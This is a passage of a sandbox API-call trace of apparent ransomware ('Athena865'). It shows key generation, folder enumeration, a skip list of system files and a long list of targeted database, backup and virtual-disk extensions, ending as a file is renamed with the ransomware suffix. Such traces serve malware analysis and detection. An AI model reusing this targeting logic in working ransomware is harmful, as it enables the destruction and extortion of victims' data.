[0135.898] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.898] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.898] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15e0, lpName=0x0) returned 0x154 [0135.900] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15e0) returned 0x100000 [0135.901] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.902] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.902] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.903] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.903] CloseHandle (hObject=0x154) returned 1 [0135.903] CloseHandle (hObject=0x17c) returned 1 [0135.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.903] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb347100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb347100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x102b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB02229_.GIF", cAlternateFileName="")) returned 1 [0135.903] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2=".") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="..") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="windows") returned -1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="bootmgr") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="temp") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="pagefile.sys") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="boot") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="ids.txt") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="ntuser.dat") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="perflogs") returned 1 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="MSBuild") returned 1 [0135.904] lstrlenW (lpString="WB02229_.GIF") returned 12 [0135.904] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB02229_.GIF" | out: lpString1="WB02229_.GIF") returned="WB02229_.GIF" [0135.904] lstrlenW (lpString="WB02229_.GIF") returned 12 [0135.904] lstrlenW (lpString="Athena865") returned 9 [0135.904] lstrcmpiW (lpString1="2229_.GIF", lpString2="Athena865") returned -1 [0135.904] lstrlenW (lpString=".dll") returned 4 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2=".dll") returned 1 [0135.904] lstrlenW (lpString=".lnk") returned 4 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2=".lnk") returned 1 [0135.904] lstrlenW (lpString=".ini") returned 4 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2=".ini") returned 1 [0135.904] lstrlenW (lpString=".sys") returned 4 [0135.904] lstrcmpiW (lpString1="WB02229_.GIF", lpString2=".sys") returned 1 [0135.905] lstrlenW (lpString="WB02229_.GIF") returned 12 [0135.905] lstrlenW (lpString="bak") returned 3 [0135.905] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0135.905] lstrlenW (lpString="ba_") returned 3 [0135.905] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0135.905] lstrlenW (lpString="dbb") returned 3 [0135.905] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0135.905] lstrlenW (lpString="vmdk") returned 4 [0135.905] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0135.905] lstrlenW (lpString="rar") returned 3 [0135.905] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0135.905] lstrlenW (lpString="zip") returned 3 [0135.905] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0135.905] lstrlenW (lpString="tgz") returned 3 [0135.905] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0135.905] lstrlenW (lpString="vbox") returned 4 [0135.905] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0135.905] lstrlenW (lpString="vdi") returned 3 [0135.905] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0135.905] lstrlenW (lpString="vhd") returned 3 [0135.905] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0135.905] lstrlenW (lpString="vhdx") returned 4 [0135.905] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0135.905] lstrlenW (lpString="avhd") returned 4 [0135.905] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0135.905] lstrlenW (lpString="db") returned 2 [0135.905] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0135.905] lstrlenW (lpString="db2") returned 3 [0135.906] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0135.906] lstrlenW (lpString="db3") returned 3 [0135.906] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0135.906] lstrlenW (lpString="dbf") returned 3 [0135.906] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0135.906] lstrlenW (lpString="mdf") returned 3 [0135.906] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0135.906] lstrlenW (lpString="mdb") returned 3 [0135.906] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0135.906] lstrlenW (lpString="sql") returned 3 [0135.906] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0135.906] lstrlenW (lpString="sqlite") returned 6 [0135.906] lstrcmpiW (lpString1="9_.GIF", lpString2="sqlite") returned -1 [0135.906] lstrlenW (lpString="sqlite3") returned 7 [0135.906] lstrcmpiW (lpString1="29_.GIF", lpString2="sqlite3") returned -1 [0135.906] lstrlenW (lpString="sqlitedb") returned 8 [0135.906] lstrcmpiW (lpString1="229_.GIF", lpString2="sqlitedb") returned -1 [0135.906] lstrlenW (lpString="xml") returned 3 [0135.906] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0135.906] lstrlenW (lpString="$er") returned 3 [0135.906] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0135.906] lstrlenW (lpString="4dd") returned 3 [0135.906] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0135.906] lstrlenW (lpString="4dl") returned 3 [0135.906] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0135.906] lstrlenW (lpString="^^^") returned 3 [0135.907] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0135.907] lstrlenW (lpString="abs") returned 3 [0135.907] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0135.907] lstrlenW (lpString="abx") returned 3 [0135.907] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0135.907] lstrlenW (lpString="accdb") returned 5 [0135.907] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0135.907] lstrlenW (lpString="accdc") returned 5 [0135.907] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0135.907] lstrlenW (lpString="accde") returned 5 [0135.907] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0135.907] lstrlenW (lpString="accdr") returned 5 [0135.907] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0135.907] lstrlenW (lpString="accdt") returned 5 [0135.907] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0135.907] lstrlenW (lpString="accdw") returned 5 [0135.907] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0135.907] lstrlenW (lpString="accft") returned 5 [0135.907] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0135.907] lstrlenW (lpString="adb") returned 3 [0135.907] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.907] lstrlenW (lpString="adb") returned 3 [0135.907] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.907] lstrlenW (lpString="ade") returned 3 [0135.907] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0135.907] lstrlenW (lpString="adf") returned 3 [0135.907] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0135.908] lstrlenW (lpString="adn") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0135.908] lstrlenW (lpString="adp") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0135.908] lstrlenW (lpString="alf") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0135.908] lstrlenW (lpString="ask") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0135.908] lstrlenW (lpString="btr") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0135.908] lstrlenW (lpString="cat") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0135.908] lstrlenW (lpString="cdb") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0135.908] lstrlenW (lpString="ckp") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0135.908] lstrlenW (lpString="cma") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0135.908] lstrlenW (lpString="cpd") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0135.908] lstrlenW (lpString="dacpac") returned 6 [0135.908] lstrcmpiW (lpString1="9_.GIF", lpString2="dacpac") returned -1 [0135.908] lstrlenW (lpString="dad") returned 3 [0135.908] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0135.908] lstrlenW (lpString="dadiagrams") returned 10 [0135.908] lstrcmpiW (lpString1="02229_.GIF", lpString2="dadiagrams") returned -1 [0135.908] lstrlenW (lpString="daschema") returned 8 [0135.908] lstrcmpiW (lpString1="229_.GIF", lpString2="daschema") returned -1 [0135.909] lstrlenW (lpString="db-journal") returned 10 [0135.909] lstrcmpiW (lpString1="02229_.GIF", lpString2="db-journal") returned -1 [0135.909] lstrlenW (lpString="db-shm") returned 6 [0135.909] lstrcmpiW (lpString1="9_.GIF", lpString2="db-shm") returned -1 [0135.909] lstrlenW (lpString="db-wal") returned 6 [0135.909] lstrcmpiW (lpString1="9_.GIF", lpString2="db-wal") returned -1 [0135.909] lstrlenW (lpString="dbc") returned 3 [0135.909] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0135.909] lstrlenW (lpString="dbs") returned 3 [0135.909] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0135.909] lstrlenW (lpString="dbt") returned 3 [0135.909] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0135.909] lstrlenW (lpString="dbv") returned 3 [0135.909] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0135.909] lstrlenW (lpString="dbx") returned 3 [0135.909] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0135.909] lstrlenW (lpString="dcb") returned 3 [0135.909] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0135.909] lstrlenW (lpString="dct") returned 3 [0135.909] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0135.909] lstrlenW (lpString="dcx") returned 3 [0135.909] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0135.909] lstrlenW (lpString="ddl") returned 3 [0135.909] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0135.909] lstrlenW (lpString="dlis") returned 4 [0135.910] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0135.910] lstrlenW (lpString="dp1") returned 3 [0135.910] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0135.910] lstrlenW (lpString="dqy") returned 3 [0135.910] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0135.910] lstrlenW (lpString="dsk") returned 3 [0135.910] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0135.910] lstrlenW (lpString="dsn") returned 3 [0135.910] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0135.910] lstrlenW (lpString="dtsx") returned 4 [0135.910] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0135.910] lstrlenW (lpString="dxl") returned 3 [0135.910] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0135.910] lstrlenW (lpString="eco") returned 3 [0135.910] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0135.910] lstrlenW (lpString="ecx") returned 3 [0135.910] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0135.910] lstrlenW (lpString="edb") returned 3 [0135.910] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0135.910] lstrlenW (lpString="epim") returned 4 [0135.910] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0135.910] lstrlenW (lpString="fcd") returned 3 [0135.910] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0135.910] lstrlenW (lpString="fdb") returned 3 [0135.910] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0135.910] lstrlenW (lpString="fic") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0135.911] lstrlenW (lpString="flexolibrary") returned 12 [0135.911] lstrlenW (lpString="fm5") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0135.911] lstrlenW (lpString="fmp") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0135.911] lstrlenW (lpString="fmp12") returned 5 [0135.911] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0135.911] lstrlenW (lpString="fmpsl") returned 5 [0135.911] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0135.911] lstrlenW (lpString="fol") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0135.911] lstrlenW (lpString="fp3") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0135.911] lstrlenW (lpString="fp4") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0135.911] lstrlenW (lpString="fp5") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0135.911] lstrlenW (lpString="fp7") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0135.911] lstrlenW (lpString="fpt") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0135.911] lstrlenW (lpString="frm") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0135.911] lstrlenW (lpString="gdb") returned 3 [0135.911] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0135.912] lstrlenW (lpString="gdb") returned 3 [0135.912] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0135.912] lstrlenW (lpString="grdb") returned 4 [0135.912] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0135.912] lstrlenW (lpString="gwi") returned 3 [0135.912] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0135.912] lstrlenW (lpString="hdb") returned 3 [0135.912] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0135.912] lstrlenW (lpString="his") returned 3 [0135.912] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0135.912] lstrlenW (lpString="ib") returned 2 [0135.912] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0135.912] lstrlenW (lpString="idb") returned 3 [0135.912] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0135.912] lstrlenW (lpString="ihx") returned 3 [0135.912] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0135.912] lstrlenW (lpString="itdb") returned 4 [0135.912] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0135.912] lstrlenW (lpString="itw") returned 3 [0135.912] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0135.912] lstrlenW (lpString="jet") returned 3 [0135.912] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0135.912] lstrlenW (lpString="jtx") returned 3 [0135.912] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0135.912] lstrlenW (lpString="kdb") returned 3 [0135.912] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0135.913] lstrlenW (lpString="kexi") returned 4 [0135.913] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0135.913] lstrlenW (lpString="kexic") returned 5 [0135.913] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0135.913] lstrlenW (lpString="kexis") returned 5 [0135.913] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0135.913] lstrlenW (lpString="lgc") returned 3 [0135.913] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0135.913] lstrlenW (lpString="lwx") returned 3 [0135.913] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0135.913] lstrlenW (lpString="maf") returned 3 [0135.913] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0135.913] lstrlenW (lpString="maq") returned 3 [0135.913] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0135.913] lstrlenW (lpString="mar") returned 3 [0135.913] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0135.913] lstrlenW (lpString="marshal") returned 7 [0135.913] lstrcmpiW (lpString1="29_.GIF", lpString2="marshal") returned -1 [0135.913] lstrlenW (lpString="mas") returned 3 [0135.913] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0135.913] lstrlenW (lpString="mav") returned 3 [0135.913] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0135.913] lstrlenW (lpString="maw") returned 3 [0135.913] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0135.913] lstrlenW (lpString="mdbhtml") returned 7 [0135.913] lstrcmpiW (lpString1="29_.GIF", lpString2="mdbhtml") returned -1 [0135.914] lstrlenW (lpString="mdn") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0135.914] lstrlenW (lpString="mdt") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0135.914] lstrlenW (lpString="mfd") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0135.914] lstrlenW (lpString="mpd") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0135.914] lstrlenW (lpString="mrg") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0135.914] lstrlenW (lpString="mud") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0135.914] lstrlenW (lpString="mwb") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0135.914] lstrlenW (lpString="myd") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0135.914] lstrlenW (lpString="ndf") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0135.914] lstrlenW (lpString="nnt") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0135.914] lstrlenW (lpString="nrmlib") returned 6 [0135.914] lstrcmpiW (lpString1="9_.GIF", lpString2="nrmlib") returned -1 [0135.914] lstrlenW (lpString="ns2") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0135.914] lstrlenW (lpString="ns3") returned 3 [0135.914] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0135.915] lstrlenW (lpString="ns4") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0135.915] lstrlenW (lpString="nsf") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0135.915] lstrlenW (lpString="nv") returned 2 [0135.915] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0135.915] lstrlenW (lpString="nv2") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0135.915] lstrlenW (lpString="nwdb") returned 4 [0135.915] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0135.915] lstrlenW (lpString="nyf") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0135.915] lstrlenW (lpString="odb") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0135.915] lstrlenW (lpString="odb") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0135.915] lstrlenW (lpString="oqy") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0135.915] lstrlenW (lpString="ora") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0135.915] lstrlenW (lpString="orx") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0135.915] lstrlenW (lpString="owc") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0135.915] lstrlenW (lpString="p96") returned 3 [0135.915] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0135.916] lstrlenW (lpString="p97") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0135.916] lstrlenW (lpString="pan") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0135.916] lstrlenW (lpString="pdb") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0135.916] lstrlenW (lpString="pdm") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0135.916] lstrlenW (lpString="pnz") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0135.916] lstrlenW (lpString="qry") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0135.916] lstrlenW (lpString="qvd") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0135.916] lstrlenW (lpString="rbf") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0135.916] lstrlenW (lpString="rctd") returned 4 [0135.916] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0135.916] lstrlenW (lpString="rod") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0135.916] lstrlenW (lpString="rodx") returned 4 [0135.916] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0135.916] lstrlenW (lpString="rpd") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0135.916] lstrlenW (lpString="rsd") returned 3 [0135.916] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0135.917] lstrlenW (lpString="sas7bdat") returned 8 [0135.917] lstrcmpiW (lpString1="229_.GIF", lpString2="sas7bdat") returned -1 [0135.917] lstrlenW (lpString="sbf") returned 3 [0135.917] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0135.917] lstrlenW (lpString="scx") returned 3 [0135.917] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0135.917] lstrlenW (lpString="sdb") returned 3 [0135.917] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0135.917] lstrlenW (lpString="sdc") returned 3 [0135.917] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0135.917] lstrlenW (lpString="sdf") returned 3 [0135.917] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0135.917] lstrlenW (lpString="sis") returned 3 [0135.917] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0135.917] lstrlenW (lpString="spq") returned 3 [0135.917] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0135.917] lstrlenW (lpString="te") returned 2 [0135.917] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0135.917] lstrlenW (lpString="teacher") returned 7 [0135.917] lstrcmpiW (lpString1="29_.GIF", lpString2="teacher") returned -1 [0135.917] lstrlenW (lpString="tmd") returned 3 [0135.917] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0135.917] lstrlenW (lpString="tps") returned 3 [0135.917] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0135.917] lstrlenW (lpString="trc") returned 3 [0135.917] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0135.917] lstrlenW (lpString="trc") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0135.918] lstrlenW (lpString="trm") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0135.918] lstrlenW (lpString="udb") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0135.918] lstrlenW (lpString="udl") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0135.918] lstrlenW (lpString="usr") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0135.918] lstrlenW (lpString="v12") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0135.918] lstrlenW (lpString="vis") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0135.918] lstrlenW (lpString="vpd") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0135.918] lstrlenW (lpString="vvv") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0135.918] lstrlenW (lpString="wdb") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0135.918] lstrlenW (lpString="wmdb") returned 4 [0135.918] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0135.918] lstrlenW (lpString="wrk") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0135.918] lstrlenW (lpString="xdb") returned 3 [0135.918] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0135.918] lstrlenW (lpString="xld") returned 3 [0135.919] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0135.919] lstrlenW (lpString="xmlff") returned 5 [0135.919] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0135.919] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.Athena865") returned 73 [0135.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="C:\\Program Files\\Microsoft 